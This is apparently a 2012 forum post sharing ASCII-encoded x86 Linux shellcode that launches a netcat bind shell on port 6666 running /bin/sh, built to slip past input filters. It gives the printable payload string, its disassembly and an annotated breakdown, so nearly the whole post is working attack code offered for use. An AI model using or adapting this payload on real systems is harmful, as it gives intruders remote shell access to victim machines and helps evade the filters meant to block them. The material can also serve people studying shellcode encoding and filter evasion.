slightly modified the netcat port 6666 bindshell code to be able to be ascii encoded for some filter bypassing.
shellcode can be injected as
Code
jXX4XPhtacthen/nhib//T[Ph6666hptl-TZPhhs/nhib//jej-TYPQRSPZjbXTY
65bytes minus a bunch for the interrupt which is hella crazy to implement lol. have to push it to the stack the first thing then popa to reset esp.
Code
bs.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 6a 58 push $0x58
2: 58 pop %eax
3: 34 58 xor $0x58,%al
5: 50 push %eax
6: 68 74 63 61 74 push $0x74616374
b: 68 6e 2f 6e 65 push $0x656e2f6e
10: 68 2f 2f 62 69 push $0x69622f2f
15: 54 push %esp
16: 5b pop %ebx
17: 50 push %eax
18: 68 36 36 36 36 push $0x36363636
1d: 68 2d 6c 74 70 push $0x70746c2d
22: 54 push %esp
23: 5a pop %edx
24: 50 push %eax
25: 68 6e 2f 73 68 push $0x68732f6e
2a: 68 2f 2f 62 69 push $0x69622f2f
2f: 6a 65 push $0x65
31: 6a 2d push $0x2d
33: 54 push %esp
34: 59 pop %ecx
35: 50 push %eax
36: 51 push %ecx
37: 52 push %edx
38: 53 push %ebx
39: 50 push %eax
3a: 5a pop %edx
3b: 6a 0b push $0xb
3d: 58 pop %eax
3e: 54 push %esp
3f: 59 pop %ecx
40: cd 80 int $0x80
Code
jXX4X #xorl %eax, %eax #clear out the registers
P #pushl %eax #push a null byte
htact #pushl $0x74616374 #push first part of our string
hen/n #pushl $0x656e2f6e #push second part of our string
hib// #pushl $0x69622f2f #push final part. result is "//bin/netcat" in reverse
T #push %esp
[ #pop %ebx #push our memory address into ebx so we can use it as a pointer later
P #pushl %eax #push a null byte
h6666 #pushl $0x36363636 #push first part of our string
hptl- #pushl $0x70746c2d #push final part. result is "-lpt666" in reverse
T #push %esp
Z #pop %edx #push our memory address into edx so we can use it as a pointer later
P #pushl %eax #push a null byte
hhs/n #pushl $0x68732f6e #push first part of our string
hib// #pushl $0x69622f2f #push second part of our string
je #push $0x65 #push third part of our string
j- #push $0x2b #push final part. result is "-e//bin/sh"
T #push %esp
Y #pop %ecx #push our memory address into ecx so we can use it as a pointer later
P #pushl %eax
Q #pushl %ecx
R #pushl %edx
S #pushl %ebx #push our memory pointers onto the stack
P #pushl %eax #push 0 to the stack
Z #pop %edx #pop edx to zero it out
jb #push $0xb #push our system interupt call onto the stack
X #pop %eax #put it into eax
T #push %esp #push the start of our addresses onto the stack
Y #pop %ecx #pop the start of our addresses into ecx
jjX4jHf5Oef50WP #int $0x80
This post was edited by AbDuCt on May 26 2012 05:47pm